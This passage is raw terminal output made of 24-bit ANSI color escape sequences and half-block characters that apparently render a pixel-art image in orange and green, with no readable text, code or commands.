2;254;146;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;163;94;0m\e[38;2;134;78;0m▄\e[48;2;2;1;0m\e[38;2;58;33;0m▄\e[48;2;13;7;0m\e[38;2;133;76;0m▄\e[48;2;64;38;0m\e[38;2;12;7;0m▄\e[48;2;250;144;0m\e[38;2;234;135;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;249;146;0m\e[38;2;255;147;0m▄\e[48;2;239;143;2m\e[38;2;255;147;0m▄\e[48;2;223;131;1m\e[38;2;255;147;0m▄\e[48;2;192;120;2m\e[38;2;255;147;0m▄\e[48;2;130;96;5m\e[38;2;255;147;0m▄\e[48;2;82;88;9m\e[38;2;255;148;0m▄\e[48;2;62;104;15m\e[38;2;247;147;1m▄\e[48;2;49;132;22m\e[38;2;212;134;3m▄\e[48;2;57;165;32m\e[38;2;144;95;3m▄\e[48;2;53;117;38m\e[38;2;74;61;8m▄\e[48;2;50;97;39m\e[38;2;47;60;21m▄\e[48;2;35;56;29m\e[38;2;47;81;33m▄\e[48;2;17;22;15m\e[38;2;20;34;19m▄\e[48;2;31;50;26m\e[38;2;48;73;42m▄\e[48;2;55;90;47m\e[38;2;37;56;33m▄\e[48;2;78;132;64m\e[38;2;21;31;18m▄\e[48;2;95;167;78m\e[38;2;18;26;16m▄\e[0m \e[48;2;48;74;43m\e[38;2;51;78;45m▄\e[48;2;48;74;43m\e[38;2;50;76;44m▄\e[48;2;46;71;42m\e[38;2;12;17;11m▄\e[48;2;32;54;28m\e[38;2;45;93;35m▄\e[48;2;58;112;46m\e[38;2;26;45;17m▄\e[48;2;55;130;37m\e[38;2;121;83;5m▄\e[48;2;57;133;27m\e[38;2;232;138;0m▄\e[48;2;101;96;8m\e[38;2;253;146;0m▄\e[48;2;200;118;1m\e[38;2;254;147;0m▄\e[48;2;248;144;0m\e[38;2;255;147;0m▄\e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;173;100;0m\e[38;2;210;122;0m▄\e[48;2;172;100;0m\e[38;2;76;44;0m▄\e[48;2;214;123;0m\e[38;2;153;88;0m▄\e[48;2;36;21;0m\e[38;2;162;94;0m▄\e[48;2;201;116;0m\e[38;2;20;12;0m▄\e[48;2;254;147;0m\e[38;2;238;137;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;241;143;1m\e[38;2;255;147;0m▄\e[48;2;213;125;0m\e[38;2;255;147;0m▄\e[48;2;117;73;3m\e[38;2;252;147;1m▄\e[48;2;25;36;21m\e[38;2;94;69;18m▄\e[48;2;50;77;44m\e[38;2;39;59;33m▄\e[48;2;51;78;45m \e[48;2;51;78;44m\e[38;2;51;78;45m▄\e[0m \e[48;2;51;78;45m\e[38;2;50;76;44m▄\e[48;2;40;58;34m\e[38;2;43;36;13m▄\e[48;2;38;37;6m\e[38;2;240;143;2m▄\e[48;2;149;95;6m\e[38;2;254;147;0m▄\e[48;2;226;134;1m\e[38;2;255;147;0m▄\e[48;2;253;146;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;243;140;0m▄\e[48;2;116;67;0m\e[38;2;90;52;0m▄\e[48;2;237;137;0m\e[38;2;254;147;0m▄\e[48;2;248;143;0m\e[38;2;255;147;0m▄\e[48;2;250;144;0m\e[38;2;255;147;0m▄\e[48;2;45;25;0m\e[38;2;191;110;0m▄\e[48;2;64;36;0m\e[38;2;32;18;0m▄\e[48;2;245;141;0m\e[38;2;152;87;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;230;140;6m\e[38;2;254;147;0m▄\e[48;2;25;21;7m\e[38;2;143;86;2m▄\e[48;2;48;74;42m\e[38;2;39;60;34m▄\e[48;2;51;78;45m \e[0m \e[48;2;41;63;37m\e[38;2;40;47;23m▄\e[48;2;119;70;1m\e[38;2;230;135;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;180;104;0m\e[38;2;120;68;0m▄\e[48;2;135;78;0m\e[38;2;158;91;0m▄\e[48;2;255;147;0m\e[38;2;250;145;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;146;0m▄\e[48;2;252;145;0m\e[38;2;209;120;0m▄\e[48;2;54;31;0m\e[38;2;61;35;0m▄\e[48;2;94;54;0m\e[38;2;159;91;0m▄\e[48;2;254;146;0m\e[38;2;244;140;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;240;144;1m\e[38;2;255;147;0m▄\e[48;2;36;40;18m\e[38;2;70;49;6m▄\e[48;2;50;78;45m\e[38;2;45;69;40m▄\e[0m \e[48;2;65;48;9m\e[38;2;98;64;6m▄\e[48;2;255;149;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;254;146;0m▄\e[48;2;225;130;0m\e[38;2;175;100;0m▄\e[48;2;210;120;0m\e[38;2;253;146;0m▄\e[48;2;209;121;0m\e[38;2;254;147;0m▄\e[48;2;86;49;0m\e[38;2;189;109;0m▄\e[48;2;254;146;0m\e[38;2;142;81;0m▄\e[48;2;255;147;0m\e[38;2;102;59;0m▄\e[48;2;199;115;0m\e[38;2;69;40;0m▄\e[48;2;244;141;0m\e[38;2;238;138;0m▄\e[48;2;253;146;0m\e[38;2;184;105;0m▄\e[48;2;200;115;0m\e[38;2;231;134;0m▄\e[48;2;253;147;0m\e[38;2;254;146;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;149;98;7m\e[38;2;215;132;5m▄\e[48;2;35;54;32m\e[38;2;31;42;22m▄\e[0m \e[48;2;133;82;3m\e[38;2;153;89;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;255;146;0m▄\e[48;2;255;147;0m\e[38;2;255;146;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;148;0m▄\e[48;2;255;147;0m\e[38;2;248;147;0m▄\e[48;2;254;147;0m\e[38;2;242;142;0m▄\e[48;2;204;116;0m\e[38;2;224;131;0m▄\e[48;2;200;115;0m\e[38;2;205;124;1m▄\e[48;2;199;115;0m\e[38;2;175;109;2m▄\e[48;2;172;100;0m\e[38;2;157;102;2m▄\e[48;2;168;97;0m\e[38;2;172;114;3m▄\e[48;2;206;119;0m\e[38;2;156;115;5m▄\e[48;2;215;125;0m\e[38;2;138;111;7m▄\e[48;2;180;105;0m\e[38;2;121;105;8m▄\e[48;2;233;136;0m\e[38;2;120;109;8m▄\e[48;2;254;148;0m\e[38;2;116;111;9m▄\e[48;2;254;148;0m\e[38;2;112;111;10m▄\e[48;2;255;148;0m\e[38;2;130;121;10m▄\e[48;2;254;148;0m\e[38;2;103;105;10m▄\e[48;2;254;148;0m\e[38;2;99;99;9m▄\e[48;2;254;148;0m\e[38;2;106;98;8m▄\e[48;2;254;148;0m\e[38;2;106;96;8m▄\e[48;2;255;148;0m\e[38;2;118;98;7m▄\e[48;2;255;147;0m\e[38;2;123;101;7m▄\e[48;2;255;147;0m\e[38;2;129;99;6m▄\e[48;2;255;147;0m\e[38;2;141;100;5m▄\e[48;2;255;147;0m\e[38;2;166;111;4m▄\e[48;2;255;147;0m\e[38;2;189;122;4m▄\e[48;2;255;147;0m\e[38;2;217;131;1m▄\e[48;2;255;147;0m\e[38;2;248;145;0m▄\e[48;2;255;147;0m\e[38;2;250;148;0m▄\e[48;2;255;147;0m\e[38;2;254;149;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;249;147;1m\e[38;2;254;147;0m▄\e[48;2;47;44;15m\e[38;2;81;54;7m▄\e[0m \e[48;2;163;95;0m\e[38;2;176;103;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;147;0m▄\e[48;2;255;147;0m\e[38;2;250;144;0m▄\e[48;2;255;147;0m\e[38;2;238;146;1m▄\e[48;2;254;147;0m\e[38;2;170;117;4m▄\e[48;2;252;147;0m\e[38;2;78;65;5m▄\e[48;2;239;144;1m\e[38;2;36;71;11m▄\e[48;2;220;136;2m\e[38;2;41;122;21m▄\e[48;2;193;124;2m\e[38;2;59;179;31m▄\e[48;2;178;119;4m\e[38;2;69;210;35m▄\e[48;2;129;104;6m\e[38;2;73;219;37m▄\e[48;2;67;87;10m\e[38;2;73;219;37m▄\e[48;2;61;106;15m\e[38;2;73;218;37m▄\e[48;2;52;126;21m\e[38;2;73;218;37m▄\e[48;2;52;150;25m\e[38;2;73;218;37m▄\e[48;2;58;177;30m\e[38;2;73;218;37m▄\e[48;2;63;194;33m\e[38;2;73;218;37m▄\e[48;2;66;204;34m\e[38;2;73;218;37m▄\e[48;2;69;212;36m\e[38;2;73;218;37m▄\e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;72;219;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;74;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;219;37m\e[38;2;73;218;37m▄\e[48;2;72;214;36m\e[38;2;73;218;37m▄\e[48;2;68;207;35m\e[38;2;73;218;37m▄\e[48;2;65;197;34m\e[38;2;73;218;37m▄\e[48;2;61;185;32m\e[38;2;73;218;37m▄\e[48;2;51;157;27m\e[38;2;73;218;37m▄\e[48;2;41;125;21m\e[38;2;73;218;37m▄\e[48;2;40;106;18m\e[38;2;73;218;37m▄\e[48;2;75;92;10m\e[38;2;73;218;37m▄\e[48;2;76;85;10m\e[38;2;73;219;37m▄\e[48;2;112;94;7m\e[38;2;72;216;36m▄\e[48;2;162;113;5m\e[38;2;64;194;33m▄\e[48;2;219;131;0m\e[38;2;50;152;26m▄\e[48;2;231;138;1m\e[38;2;30;65;14m▄\e[48;2;252;147;0m\e[38;2;106;71;5m▄\e[48;2;97;61;4m\e[38;2;30;31;7m▄\e[0m \e[48;2;186;108;0m\e[38;2;185;108;0m▄\e[48;2;255;147;0m\e[38;2;254;148;0m▄\e[48;2;255;147;0m\e[38;2;247;144;0m▄\e[48;2;255;147;0m\e[38;2;188;113;1m▄\e[48;2;255;147;0m\e[38;2;110;100;8m▄\e[48;2;248;147;0m\e[38;2;72;136;20m▄\e[48;2;206;124;1m\e[38;2;62;175;29m▄\e[48;2;115;81;4m\e[38;2;67;204;34m▄\e[48;2;55;92;13m\e[38;2;72;217;36m▄\e[48;2;60;157;26m\e[38;2;73;218;37m▄\e[48;2;66;195;32m\e[38;2;73;218;37m▄\e[48;2;70;212;35m\e[38;2;73;218;37m▄\e[48;2;72;215;36m\e[38;2;73;218;37m▄\e[48;2;73;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;210;37m\e[38;2;71;214;37m▄\e[48;2;58;142;37m\e[38;2;57;136;37m▄\e[48;2;51;109;39m\e[38;2;54;109;40m▄\e[48;2;36;76;26m\e[38;2;38;71;31m▄\e[0m \e[48;2;73;63;12m\e[38;2;24;46;20m▄\e[48;2;89;67;7m\e[38;2;54;120;38m▄\e[48;2;67;119;19m\e[38;2;66;192;35m▄\e[48;2;61;177;29m\e[38;2;73;217;37m▄\e[48;2;71;213;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;214;35m\e[38;2;42;129;21m▄\e[48;2;43;131;22m\e[38;2;4;10;2m▄\e[48;2;37;111;19m\e[38;2;4;10;2m▄\e[48;2;60;180;30m\e[38;2;7;22;3m▄\e[48;2;73;218;37m\e[38;2;62;187;31m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;72;217;36m▄\e[48;2;69;208;35m\e[38;2;20;61;10m▄\e[48;2;43;129;22m\e[38;2;4;11;2m▄\e[48;2;38;116;19m\e[38;2;3;8;1m▄\e[48;2;64;192;32m\e[38;2;19;57;10m▄\e[48;2;73;218;37m\e[38;2;73;219;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;214;36m\e[38;2;71;213;36m▄\e[48;2;55;130;37m\e[38;2;55;123;38m▄\e[48;2;54;108;41m\e[38;2;56;110;44m▄\e[48;2;35;60;30m\e[38;2;35;57;30m▄\e[0m \e[48;2;37;68;29m\e[38;2;38;61;33m▄\e[48;2;58;132;39m\e[38;2;62;134;45m▄\e[48;2;64;179;36m\e[38;2;55;129;37m▄\e[48;2;72;217;36m\e[38;2;71;210;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;27;82;14m\e[38;2;59;178;30m▄\e[48;2;4;11;3m\e[38;2;3;9;1m▄\e[48;2;0;0;0m\e[38;2;8;18;4m▄\e[48;2;1;3;1m\e[38;2;4;12;2m▄\e[48;2;36;112;19m\e[38;2;54;163;27m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;70;210;36m\e[38;2;72;217;36m▄\e[48;2;4;11;1m\e[38;2;9;28;4m▄\e[48;2;0;0;0m\e[38;2;6;16;3m▄\e[48;2;1;3;1m\e[38;2;6;15;3m▄\e[48;2;13;39;6m\e[38;2;32;94;15m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;70;207;36m\e[38;2;67;196;36m▄\e[48;2;52;110;38m \e[48;2;57;101;47m\e[38;2;56;90;47m▄\e[48;2;36;55;31m\e[38;2;38;58;33m▄\e[0m \e[48;2;40;63;35m\e[38;2;43;67;38m▄\e[48;2;61;117;48m\e[38;2;45;80;38m▄\e[48;2;54;114;39m\e[38;2;52;110;38m▄\e[48;2;64;177;36m\e[38;2;59;150;37m▄\e[48;2;72;217;36m\e[38;2;72;214;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;61;182;30m\e[38;2;73;218;37m▄\e[48;2;45;135;22m\e[38;2;73;218;37m▄\e[48;2;58;174;29m\e[38;2;73;218;37m▄\e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;212;35m\e[38;2;72;216;36m▄\e[48;2;34;101;17m\e[38;2;11;32;5m▄\e[48;2;34;101;17m\e[38;2;1;2;1m▄\e[48;2;34;98;18m\e[38;2;1;3;1m▄\e[48;2;35;101;18m\e[38;2;1;1;1m▄\e[48;2;35;100;17m\e[38;2;1;3;1m▄\e[48;2;57;170;29m\e[38;2;56;168;28m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;72;218;36m▄\e[48;2;66;197;33m\e[38;2;72;217;36m▄\e[48;2;46;139;23m\e[38;2;73;217;37m▄\e[48;2;54;163;27m\e[38;2;72;217;37m▄\e[48;2;71;212;36m\e[38;2;72;217;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;37m\e[38;2;70;204;36m▄\e[48;2;60;158;37m\e[38;2;53;122;37m▄\e[48;2;52;103;38m\e[38;2;52;104;40m▄\e[48;2;33;54;28m\e[38;2;21;34;18m▄\e[48;2;46;70;41m\e[38;2;49;76;44m▄\e[0m \e[48;2;49;76;44m\e[38;2;51;78;45m▄\e[48;2;32;51;28m\e[38;2;43;65;37m▄\e[48;2;61;125;45m\e[38;2;81;124;71m▄\e[48;2;54;124;38m\e[38;2;53;113;40m▄\e[48;2;68;202;36m\e[38;2;60;156;37m▄\e[48;2;73;218;37m\e[38;2;72;215;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;216;37m▄\e[48;2;73;217;37m\e[38;2;93;205;61m▄\e[48;2;79;213;44m\e[38;2;121;189;95m▄\e[48;2;85;210;51m\e[38;2;132;184;108m▄\e[48;2;82;211;47m\e[38;2;121;191;93m▄\e[48;2;73;217;37m\e[38;2;85;210;52m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;37;111;20m\e[38;2;71;214;36m▄\e[48;2;1;2;0m\e[38;2;44;128;22m▄\e[48;2;2;4;2m\e[38;2;15;39;8m▄\e[48;2;1;1;1m\e[38;2;29;82;14m▄\e[48;2;13;37;7m\e[38;2;68;204;34m▄\e[48;2;70;210;35m\e[38;2;73;218;37m▄\e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;217;37m\e[38;2;74;216;38m▄\e[48;2;82;211;47m\e[38;2;118;191;90m▄\e[48;2;100;200;70m\e[38;2;132;185;108m▄\e[48;2;103;201;72m\e[38;2;127;187;101m▄\e[48;2;98;203;67m\e[38;2;125;189;100m▄\e[48;2;85;209;52m\e[38;2;116;192;88m▄\e[48;2;73;217;37m\e[38;2;80;211;44m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;68;200;35m▄\e[48;2;63;170;35m\e[38;2;54;125;36m▄\e[48;2;51;103;38m\e[38;2;51;99;38m▄\e[48;2;49;101;36m\e[38;2;22;45;17m▄\e[48;2;30;47;26m\e[38;2;45;69;39m▄\e[48;2;51;78;45m \e[0m \e[48;2;51;78;45m \e[48;2;49;75;43m\e[38;2;51;78;45m▄\e[48;2;30;38;27m\e[38;2;39;59;35m▄\e[48;2;63;123;49m\e[38;2;71;110;62m▄\e[48;2;54;121;37m\e[38;2;56;119;40m▄\e[48;2;68;198;37m\e[38;2;60;158;37m▄\e[48;2;73;218;37m\e[38;2;71;216;36m▄\e[48;2;73;217;37m\e[38;2;73;216;38m▄\e[48;2;91;206;58m\e[38;2;110;196;81m▄\e[48;2;122;191;95m\e[38;2;126;188;100m▄\e[48;2;128;186;102m\e[38;2;130;187;104m▄\e[48;2;140;180;116m\e[38;2;128;187;103m▄\e[48;2;126;188;100m\e[38;2;106;197;76m▄\e[48;2;96;202;64m\e[38;2;75;215;39m▄\e[48;2;73;217;37m\e[38;2;72;218;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;74;220;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;74;217;38m\e[38;2;73;217;37m▄\e[48;2;114;194;86m\e[38;2;76;215;40m▄\e[48;2;142;178;121m\e[38;2;94;205;62m▄\e[48;2;150;176;129m\e[38;2;109;196;81m▄\e[48;2;142;180;120m\e[38;2;95;203;63m▄\e[48;2;116;193;88m\e[38;2;76;214;41m▄\e[48;2;78;213;44m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;67;196;36m▄\e[48;2;71;209;37m\e[38;2;60;154;36m▄\e[48;2;59;152;36m\e[38;2;57;138;37m▄\e[48;2;52;110;38m\e[38;2;56;130;37m▄\e[48;2;51;104;38m\e[38;2;30;71;21m▄\e[48;2;20;31;17m\e[38;2;45;69;39m▄\e[48;2;50;78;44m\e[38;2;51;78;45m▄\e[48;2;51;78;45m \e[0m \e[48;2;51;78;45m\e[38;2;28;43;24m▄\e[48;2;51;78;45m\e[38;2;43;64;38m▄\e[48;2;51;78;45m\e[38;2;52;79;46m▄\e[48;2;34;53;30m\e[38;2;46;71;41m▄\e[48;2;64;124;48m\e[38;2;49;106;36m▄\e[48;2;53;115;38m\e[38;2;57;124;40m▄\e[48;2;63;175;36m\e[38;2;55;126;38m▄\e[48;2;73;217;37m\e[38;2;66;186;36m▄\e[48;2;89;208;56m\e[38;2;73;217;37m▄\e[48;2;111;195;82m\e[38;2;75;215;40m▄\e[48;2;109;197;80m\e[38;2;74;216;38m▄\e[48;2;85;209;52m\e[38;2;73;218;36m▄\e[48;2;73;216;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m\e[38;2;71;214;36m▄\e[48;2;71;212;36m\e[38;2;63;172;36m▄\e[48;2;63;174;35m\e[38;2;57;138;37m▄\e[48;2;58;146;36m\e[38;2;57;137;38m▄\e[48;2;58;139;37m\e[38;2;57;138;37m▄\e[48;2;58;138;37m\e[38;2;54;128;35m▄\e[48;2;50;117;34m\e[38;2;20;44;14m▄\e[48;2;20;32;17m\e[38;2;39;61;34m▄\e[48;2;51;77;44m\e[38;2;45;69;40m▄\e[48;2;51;78;45m\e[38;2;45;69;40m▄\e[48;2;51;78;45m\e[38;2;49;75;43m▄\e[0m \e[48;2;84;151;67m\e[38;2;98;177;78m▄\e[48;2;43;80;34m\e[38;2;98;177;78m▄\e[48;2;22;39;19m\e[38;2;98;178;78m▄\e[48;2;43;67;38m\e[38;2;81;148;64m▄\e[48;2;40;70;33m\e[38;2;44;78;36m▄\e[48;2;54;127;36m\e[38;2;21;47;15m▄\e[48;2;55;120;39m\e[38;2;54;117;39m▄\e[48;2;56;133;37m\e[38;2;59;133;40m▄\e[48;2;71;211;36m\e[38;2;61;164;37m▄\e[48;2;73;217;36m\e[38;2;71;211;36m▄\e[48;2;73;218;37m\e[38;2;72;218;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m 